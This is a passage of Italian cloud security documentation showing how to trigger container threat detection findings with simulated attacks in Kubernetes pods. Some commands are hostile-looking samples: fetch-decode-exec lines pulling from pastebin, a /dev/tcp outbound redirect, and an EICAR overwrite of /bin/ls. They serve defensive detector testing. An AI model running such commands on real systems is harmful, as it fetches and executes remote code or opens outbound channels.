Per attivare un'esecuzione: risultato Esecuzione della vulnerabilità Ingress Nightmare (anteprima), esegui il binario nginx nel container. Questo esempio esegue il deployment dell'ultima immagine Ubuntu 24.04, copia /bin/ls in un'altra posizione, la rinomina in un binario Nginx (nginx) e lo esegue con argomenti aggiuntivi che fanno riferimento al file system /proc. Questa azione è considerata sospetta perché simula un comportamento coerente con l'exploit Ingress Nightmare (CVE-2025-1974), indicando quindi una potenziale esecuzione di codice remoto.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Crea un file binario Nginx come nginx ed eseguilo durante l'accesso al file system /proc:

    • Nodo x86:

      tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"
      
    • Nodo ARM:

      tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"
      

Questa procedura di test crea un risultato di esecuzione: vulnerabilità Ingress Nightmare che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center

Esecuzione: esecuzione dello strumento di attacco Kubernetes

Per attivare un'esecuzione: risultato dell'esecuzione dello strumento di attacco Kubernetes, inserisci un file binario nel contenitore ed eseguilo. Questo esempio esegue il deployment dell'ultima immagine Ubuntu 24.04, copia /bin/ls in un'altra posizione, la rinomina in uno strumento sospetto (amicontained) e lo esegue. Questa azione è considerata sospetta perché simula un comportamento coerente con un potenziale tentativo di esecuzione di uno strumento di attacco Kubernetes.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Rilascia un binario dello strumento di attacco Kubernetes come amicontained ed eseguilo:

    • Nodo x86:

      tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/amicontained; /tmp/amicontained"
      
    • Nodo ARM:

      tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/amicontained; /tmp/amicontained"
      

Questa procedura di test dovrebbe creare un risultato Esecuzione: esecuzione dello strumento di attacco Kubernetes che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Esecuzione: esecuzione dello strumento di ricognizione locale

Per attivare un risultato Execution: Local Reconnaissance Tool Execution, inserisci un file binario nel contenitore ed eseguilo. Questo esempio esegue il deployment dell'ultima immagine Ubuntu 24.04, copia /bin/ls in un'altra posizione, la rinomina in uno strumento sospetto (linenum.sh) e lo esegue. Questa azione è considerata sospetta perché l'esecuzione del file binario rinominato simula un comportamento coerente con un tentativo di ricognizione locale.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Introduci un binario dello strumento di ricognizione locale come linenum.sh ed eseguilo:

    • Nodo x86:

      tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"
      
    • Nodo ARM:

      tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"
      

Questa procedura di test dovrebbe creare un risultato Esecuzione: strumento di ricognizione locale che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Esecuzione: Python dannoso eseguito

Per attivare un risultato Esecuzione: Python dannoso eseguito, puoi eseguire Python nella seguente procedura nel container.

La procedura esegue il deployment dell'ultima immagine Python, copia il codice Python che sembra dannoso e lo esegue. Per attivare un rilevamento, il codice Python deve apparire dannoso per il rilevatore.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Esegui questo script in un nuovo contenitore.

    Questo codice Python proviene da un honeypot. Tuttavia, è stato modificato in modo che non esegua il file binario dannoso. L'esecuzione dello script non causerà attività dannose nel container. Il binario all'URL di riferimento non esiste e il tentativo di seguire l'URL genera un errore 404. È previsto. Il tentativo di scaricare, decodificare ed eseguire un file binario utilizzando uno script incorporato è ciò che attiva il rilevamento.

    • Nodo x86:

      tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image marketplace.gcr.io/google/python:latest \
         "$tag" -- python -c "import urllib
      import base64
      import os
      
      url = 'https://pastebin.com/raw/Z'
      page = base64.b64decode(urllib.urlopen(url).read())
      page = ''
      f = os.popen(str(page))
      url = 'https://pastebin.com/raw/Z'
      d = 'https://pastebin.com/raw/Z'
      page = base64.b64decode(urllib.urlopen(url).read())
      page = ''
      exec(page)"
      
    • Nodo ARM:

      tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image python:3-buster \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- python -c "import urllib
      import base64
      import os
      
      url = 'https://pastebin.com/raw/Z'
      page = base64.b64decode(urllib.urlopen(url).read())
      page = ''
      f = os.popen(str(page))
      url = 'https://pastebin.com/raw/Z'
      d = 'https://pastebin.com/raw/Z'
      page = base64.b64decode(urllib.urlopen(url).read())
      page = ''
      exec(page)"
      

Questa procedura di test crea un risultato Esecuzione: esecuzione di Python dannoso che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Esecuzione: file binario dannoso modificato eseguito

Per attivare un risultato Esecuzione: file binario dannoso modificato eseguito, modifica un file binario dannoso nel tuo container ed eseguilo. Questo esempio esegue il deployment dell'ultima immagine di Ubuntu 24.04, modifica /bin/ls in un file dannoso di test EICAR e poi lo esegue. L'esecuzione del file binario è inattesa perché il /bin/ls creato viene modificato durante il runtime del container come binario dannoso di test EICAR e il binario EICAR è un file dannoso noto secondo la threat intelligence.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Rilascia il file binario EICAR ed eseguilo:

    • Nodo x86:

      tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
      
    • Nodo ARM:

      tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
      

Questa procedura di test dovrebbe creare un risultato Esecuzione: binario dannoso modificato eseguito che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Per la riduzione del rumore, quando crei un container per la prima volta, Container Threat Detection filtra temporaneamente i risultati di Esecuzione: binario dannoso modificato eseguito. Per visualizzare tutti i risultati di Esecuzione: binario dannoso modificato eseguito durante la configurazione di un container, aggiungi il prefisso ktd-test al nome del container o del pod, come nell'esempio.

Esecuzione: esecuzione del codice remoto Netcat nel container

Per attivare un evento Execution: Netcat Remote Code Execution In Container, un file binario in grado di comunicare in rete (come netcat stesso o una copia rinominata di un altro utilità) deve essere presente ed eseguito all'interno del contenitore. Questo esempio esegue il deployment dell'ultima immagine di Ubuntu 24.04 come base. Copia il binario /bin/ls e rinomina la copia in netcat (un'utilità di rete). Questo binario rinominato viene quindi eseguito con argomenti appropriati per l'interazione di rete. Questa attività è contrassegnata come sospetta perché imita il comportamento spesso osservato durante i tentativi di esecuzione del codice remoto effettivi all'interno di ambienti in container.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Introduci un binario dello strumento di comunicazione di rete come netcat ed eseguilo con gli argomenti appropriati:

    • Nodo x86:

      tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/netcat; /tmp/netcat --sh-exec"
      
    • Nodo ARM:

      tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/netcat; /tmp/netcat --sh-exec"
      

Questa procedura di test dovrebbe creare un risultato Execution: Netcat Remote Code Execution In Container che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Esecuzione: possibile esecuzione di comando remoto rilevata

Per attivare un risultato Execution: Possible Remote Command Execution Detected (Anteprima), l'esecuzione di un comando o di un binario comunemente associato all'esecuzione di comandi remoti deve essere osservata all'interno di un container. Questo esempio utilizza l'ultima immagine di Ubuntu 24.04. Copia /bin/ls e lo rinomina in touch (o un altro strumento come find). Questo binario rinominato viene poi eseguito con argomenti appropriati per l'esecuzione di comandi remoti. Questo comportamento viene segnalato come sospetto perché può indicare un tentativo di stabilire un accesso remoto non autorizzato al o dal container.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Esegui un binario come touch con gli argomenti appropriati:

    • Nodo x86:

      tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch >& /dev/tcp/8.8.8.8/53"
      
    • Nodo ARM:

      tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch -o /tmp/touch.o"
      

Questa procedura di test crea un risultato Execution: Possible Remote Command Execution Detected che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Esecuzione: Program Run with Disallowed HTTP Proxy Env

Per attivare un risultato Execution: Program Run with Disallowed HTTP Proxy Env, esegui un programma all'interno di un contenitore, impostando una variabile di ambiente proxy HTTP su un valore non consentito. Questo esempio utilizza l'ultima immagine di Ubuntu 24.04. L'utilità /bin/ls viene copiata e rinominata in /tmp/curl. Questo binario rinominato viene poi eseguito con un valore non consentito impostato per una variabile di ambiente proxy HTTP (ad esempio, HTTP_PROXY, http_proxy). La combinazione di esecuzione del programma e presenza di un ambiente proxy HTTP non consentito viene contrassegnata come sospetta, in quanto suggerisce un tentativo di comunicazione tramite un proxy non autorizzato.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Esegui un file binario in grado di comunicare con la rete, ad esempio curl, ed eseguilo con una variabile di ambiente proxy HTTP non consentita:

    • Nodo x86:

      tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"
      
    • Nodo ARM:

      tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"
      

Questa procedura di test dovrebbe creare un risultato Execution: Program Run with Disallowed HTTP Proxy Env che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Esecuzione: Oggetto condiviso OpenSSL sospetto caricato

Per attivare un risultato Execution: Suspicious OpenSSL Shared Object Loaded, esegui il comando openssl engine con un argomento che sia un file che termina con l'estensione .so. Questo esempio utilizza l'ultima immagine di Ubuntu 24.04. L'utilità /bin/ls viene copiata e rinominata in /tmp/openssl. Questo binario rinominato viene poi eseguito con gli argomenti engine e .so fittizi. L'esecuzione di openssl engine con un file .so è contrassegnata come sospetta perché imita il comportamento di un oggetto condiviso caricato per eseguire codice dannoso.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Esegui un file binario in grado di comunicare con la rete, ad esempio curl, ed eseguilo con una variabile di ambiente proxy HTTP non consentita:

    • Nodo x86:

      tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/openssl; openssl engine /tmp/fakelib.so"
      
    • Nodo ARM:

      tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/openssl; openssl engine /tmp/fakelib.so"
      

Questa procedura di test dovrebbe creare un risultato Execution: Suspicious OpenSSL Shared Object Loaded che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Esfiltrazione: avvia strumenti di copia file remoti nel container

Per attivare un risultato Exfiltration: Launch Remote File Copy Tools In Container, esegui uno strumento di copia file remota comune all'interno di un container. Questo esempio utilizza l'ultima immagine di Ubuntu 24.04. L'utilità /bin/ls viene copiata e rinominata in /tmp/rsync e poi eseguita per recuperare un file da un'origine remota, potenzialmente dannosa. L'esecuzione di uno strumento di questo tipo con argomenti di recupero di file remoti all'interno di un container viene segnalata come sospetta, in quanto potrebbe indicare un tentativo di scaricare ed eseguire codice dannoso o esfiltrare dati.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Esegui uno strumento di copia file remota, come rsync:

    • Nodo x86:

      tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/rsync; /tmp/rsync"
      
    • Nodo ARM:

      tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/rsync; /tmp/rsync"
      

Questa procedura di test dovrebbe creare un risultato Exfiltration: Launch Remote File Copy Tools In Container che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Impatto: Rileva cmdline dannose

Per attivare un risultato Impact: Detect Malicious Cmdlines (Anteprima), l'esecuzione di una riga di comando con argomenti o pattern dannosi noti deve essere osservata all'interno di un container. Questo esempio utilizza l'ultima immagine di Ubuntu 24.04. Consiste nel copiare il binario /bin/ls e rinominare la copia in ipfs. Viene poi eseguito il file binario rinominato. Questo comportamento viene segnalato come sospetto perché può indicare un tentativo di eseguire codice dannoso o aggirare i controlli di sicurezza.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Esegui un binario come ipfs:

    • Nodo x86:

      tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/ipfs; /tmp/ipfs"
      
    • Nodo ARM:

      tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/ipfs; /tmp/ipfs"
      

Questa procedura di test crea un risultato Impact: Detect Malicious Cmdlines che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Impatto: Rimuovi dati collettivi dal disco

Per attivare un risultato Impact: Remove Bulk Data From Disk, inserisci un file binario in grado di eliminare o sovrascrivere i dati nel contenitore ed eseguilo. Questo esempio utilizza l'ultima immagine Ubuntu 24.04. Consiste nel copiare il file binario /bin/ls e rinominare la copia in shred (o un'utilità simile progettata per l'eliminazione sicura dei file). Viene quindi eseguito il file binario rinominato. Questa azione è contrassegnata come sospetta perché imita il comportamento spesso osservato quando si tenta di rimuovere grandi quantità di dati da un disco all'interno di un ambiente in container.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Introduci un binario di eliminazione di file o dati come shred ed eseguilo:

    • Nodo x86:

      tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/shred; /tmp/shred"
      
    • Nodo ARM:

      tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/shred; /tmp/shred"
      

Questa procedura di test dovrebbe creare un risultato Impact: Remove Bulk Data From Disk che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Impatto: attività sospetta di cryptomining mediante il protocollo Stratum

Per attivare un risultato Impact: Suspicious crypto mining activity using the Stratum Protocol, è necessario eseguire un file binario all'interno di un container con argomenti simili a quelli utilizzati dal software di mining di criptovalute che comunica utilizzando il protocollo Stratum. L'esempio utilizza l'ultima immagine Ubuntu 24.04. Copia /bin/ls e rinomina la copia in un binario simulato (presumibilmente per simulare un miner di criptovalute). Questo binario rinominato viene quindi eseguito con argomenti che includono stratum+tcp o indicatori di protocollo Stratum simili. Questa attività è contrassegnata come sospetta perché imita i pattern di comunicazione di rete del software di mining di criptovalute all'interno di ambienti containerizzati.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Introduci un binario di utilità come curl ed eseguilo con argomenti simili a quelli utilizzati dal software di mining di criptovalute che comunica utilizzando il protocollo Stratum:

    • Nodo x86:

      tag="ktd-test-detect-crypto-miners-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"
      
    • Nodo ARM:

      tag="ktd-test-detect-crypto-miners-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"
      

Questa procedura di test dovrebbe creare un risultato Impact: Suspicious crypto mining activity using the Stratum Protocol che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Potresti anche visualizzare un risultato aggiuntivo per il comando bash che esegui in questo test. Questo comportamento è normale e puoi ignorare il risultato aggiuntivo.

Script dannoso eseguito

Per attivare un risultato Script dannoso eseguito, puoi eseguire lo script nella seguente procedura nel container.

La procedura esegue il deployment dell'ultima immagine di Ubuntu 24.04, copia uno script che sembra dannoso e poi lo esegue. Per attivare un rilevamento, uno script deve apparire dannoso per il rilevatore.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Esegui questo script in un nuovo contenitore.

    Questo script Bourne shell incorporato ha avuto origine da un honeypot. Tuttavia, è stato modificato in modo da non eseguire il binario dannoso, quindi l'esecuzione dello script non causerà attività dannose nel tuo contenitore. Il file binario all'URL di riferimento potrebbe essere stato rimosso e il tentativo di seguire l'URL genererà un errore 404. È previsto. Il tentativo di scaricare, decodificare ed eseguire un file binario utilizzando uno script incorporato è ciò che attiva il rilevamento.

    • Nodo x86:

      tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c \
            "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
      
    • Nodo ARM:

      tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c \
            "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
      

Questa procedura di test crea un risultato Esecuzione di script dannoso che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Rilevato URL dannoso

Per attivare un risultato URL dannoso osservato, esegui un file binario e fornisci un URL dannoso come argomento.

L'esempio seguente esegue il deployment di un'immagine Ubuntu 24.04 ed esegue /bin/curl per accedere a un URL di malware di esempio dal servizio Navigazione sicura.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Esegui curl e fornisci un URL dannoso come argomento:

    • Nodo x86:

      tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      url="https://testsafebrowsing.appspot.com/s/malware.html"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"
      
    • Nodo ARM:

